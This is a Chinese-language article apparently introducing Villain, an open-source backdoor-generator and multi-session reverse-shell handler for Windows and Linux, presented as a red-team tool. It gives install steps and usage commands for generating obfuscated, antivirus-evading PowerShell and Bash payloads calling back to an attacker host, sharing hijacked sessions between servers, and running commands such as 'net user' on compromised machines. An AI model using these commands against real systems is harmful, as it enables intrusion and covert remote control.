Villain:一款針對Windows和Linux的后門生成和多會話處理工具
VSole2023-01-14 10:20:56
關于Villain
Villain是一款針對Windows和Linux操作系統設計和開發的后門生成與多會話處理工具,該工具允許廣大研究人員與兄弟服務器或其他運行了Villain的設備進行連接,并共享他們的后門會話,以方便廣大研究人員和團隊之間的協同工作。
Villain生成Payload所采用的機制基于HoaxShell實現,也可以說Villain在這方面是HoaxShell的一個升級版本。
工具特性
1、Villain包含了一個內置的針對Windows平臺的Payload自動混淆功能,旨在幫助廣大研究人員繞過AV解決方案;
2、該工具生成的每一個Payload只能使用一次,已使用過的Payload不能重新用于會話建立;
3、兄弟服務器之間的通信是AES加密的,使用接收方兄弟服務器的ID作為加密密鑰,本地服務器的ID的16個第一字節作為IV。在兩個兄弟服務器的初始連接握手期間,每個服務器的ID都是明文交換的,這意味著握手可以被捕獲并用于解密兄弟服務器間的通信。我知道這樣很“弱”,因為該工具設計用于滲透測試/紅色團隊評估期間,對此加密模式應該足夠了;
4、相互連接的Villain實例(兄弟服務器)也必須能夠直接到達彼此。我打算添加一個網絡路由映射實用程序,以便兄弟服務器可以將彼此用作代理,以實現它們之間的跨網絡通信;
工具運行機制
下圖顯示的是HTTP(S)反向Shell的運行機制:

工具安裝
由于該工具基于Python 3開發,因此廣大研究人員首先需要在本地設備上安裝并配置好Python 3環境。接下來,使用下列命令將該項目源碼克隆至本地:
git clone https://github.com/t3l3machus/Villain (向右滑動、查看更多)
然后切換到項目目錄下,并使用pip命令和項目提供的requirements.txt來安裝該工具所需的其他依賴組件:
cd ./Villain pip3 install -r requirements.txt
工具使用
生成后門Payload
我們可以使用generate命令來生成針對Windows或Linux設備的后門Payload:
generate os=<OS Type> lhost=<IP or INTERFACE> [ exec_outfile=<REMOTE PATH> domain=<DOMAIN>] [ obfuscate encode constraint_mode ] (向右滑動、查看更多)
支持的后門Payload類型如下:
Windows:PowerShell
Linux:Bash
使用樣例:
# For Windows: Villain > generate os=windows lhost=eth0 obfuscate Villain > generate os=windows lhost=192.168.12.36 exec_outfile="C:\Users\\\$env:USERNAME\.local\hack.ps1" encode# For Linux: Villain > generate os=linux lhost=192.168.12.62 (向右滑動、查看更多)
連接兄弟服務器
我們可以使用connect命令連接運行了Villain的設備并共享后門會話:
connect <IP> <CORE SERVER PORT>
Shell命令
我們可以使用shell命令來針對一個會話開啟交互式HoaxShell:
shell <SESSION ID or ALIAS>
exec命令
exec命令可以針對一個會話在文件系統中執行引用的命令或腳本:
exec </path/to/local/file> <SESSION ID or ALIAS> exec 'net user;Get-Date' <SESSION ID or ALIAS> (向右滑動、查看更多)
工具運行截圖

視頻演示
視頻地址1:https://www.youtube.com/watch?v=pTUggbSCqA0
視頻地址2:https://www.youtube.com/watch?v=NqZEmBsLCvQ
許可證協議
本項目的開發與發布遵循CC知識共享許可協議。
項目地址
Villain:https://github.com/t3l3machus/Villain
VSole
網絡安全專家